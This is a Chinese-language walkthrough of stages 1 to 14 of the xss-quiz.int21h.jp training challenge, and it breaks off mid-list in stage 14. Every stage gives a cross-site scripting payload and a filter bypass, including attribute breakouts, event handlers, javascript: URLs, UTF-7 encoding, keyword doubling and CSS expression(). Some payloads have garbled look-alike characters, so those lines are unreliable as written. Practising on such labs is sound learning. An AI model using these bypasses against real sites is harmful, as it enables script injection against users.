开门见山
Stage #1
http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9
这一道题发现我们写入的内容直接没有任何过滤,嵌套在一个<b>标签里面,我们常规闭合标签新建标签即可。
<b><script>alert(document.domain)</script></b>
Stage #2
http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
这一题的注入点是在一个input标签的value属性那里,我们前后闭合input标签然后在中间加上script就好了。
"><script>alert(document.domain)</script><"
Stage #3
http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5
尝试输入查看源码发现<>和”被转义了,于是抓包在country的位置插入xss
p1=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22&p2=<script>alert(document.domain)</script>
Forward发包到原网页,
Stage #4
http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87
这里依然是先抓包,发现有个hackme....
需要闭合前后的双引号
构造响应的参数,直接提交,发现直接就过了。
Stage #5
http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
与Stage#2几乎一样,也是value参数,唯一的不同点是在前端限制了输入的长度,我们直接用bp抓包提交就好了。
需要构造一下,把前后的双引号匹配一下
Stage #6
http://xss-quiz.int21h.jp/stage-no6.php?sid=4149b9ce4901a7795800c04b44a11e2e62bbdbc6
发现应该是对>标签进行了过滤,并且根据提示event handler attributes(事件处理程序属性 ),提示我们要用事件属性来处理了,下面构造
" onmouseover="alert(document.domain)
Stage #7
http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
发现将"也过滤掉了
那就需要对"进行绕过了,我们可以采用空格分割属性,不使用",从而绕过"。
test onmouseover=alert(document.domain)
Stage #8
http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80
本关就是考查 javascript:伪协议在a标签的使用了
PAYLAOD:
javascript:alert(document.domain)
Stage #9
http://xss-quiz.int21h.jp/stage_09.php?sid=bfc62e9b3c0b7b72200bb942d69fb5e3076e6098
大佬WP:
1. 用可以识别UTF-7的IE浏览器
2. 把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
意思是我们提交UTF-7编码的py上去,然后浏览器UTF-7解码出利用py~~(我觉得出题者简直闲的蛋疼,不说现在没有利用utf-7的ie了,哪有什么网页的后台是只能解码utf-7的)
Stage #10
http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
通过提示查看应该是对domain进行了过滤
所以我们要想办法绕过domain的过滤因此采用
"><script>alert(document.domdomainain)</script>
因为客户端会自动过滤掉domain,这dom(domain)ain变为domain
也可以
" onmouseover="alert(document.domain)
Stage #11
http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
发现对关键字进行了不少过滤
所以只能想办法不利用这些串绕过,尝试构造
1. "><a href=javascri pt:alert(document.domain)>test</a> // tab制表符html十进制编码
冒号也被过滤。
2. "><a href=javascri pt:alert(document.domain)>test</a> // 是html5的换行符,:是冒号
Stage #12
http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae
发现也进行了过滤
把x00-x20的字符与及<,>,",'都替换为空,那也只能寻求绕过的方法了,经发现这个``符号会在ie8中解析为引号,所以利用它便可成功绕过,但只能在ie中
payload:
``onmousemove=alert(document.domain)
Stage #13
http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f
本关提示style attribute,也就是style的属性问题。
发现双引号被过滤了,那么就只能是style的payload了。
xss:expression(onmousemove=function(){alert(document.domain)})
(为什么这么写,说CSS样式的定义应该写进函数里,不然会报错)
background-color:#f00;background:url("javascript:alert(document.domain);"); 这种方式没有成功
xss:expr/XSS/ession(alert(document.domain));
background-color:#f00;background:url("javascript:alert(document.domain);");
这两种应该只能在ie下,然而我并未成功,可能ie版本过高
Stage #14
http://xss-quiz.int21h.jp/stage-_-14.php?sid=0ccb3bac891178e3bd1966b5624529302f5efcf0
aa:expression(οnmοuseοver=function(){alert(document.domain)})
有4种能绕过正则过滤:
(1)e -> 065
aa: 065xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
(2)加入隔断
aa:expression(οnmοuseοver=function(){alert(document.domain)}) ERROR
(3)加入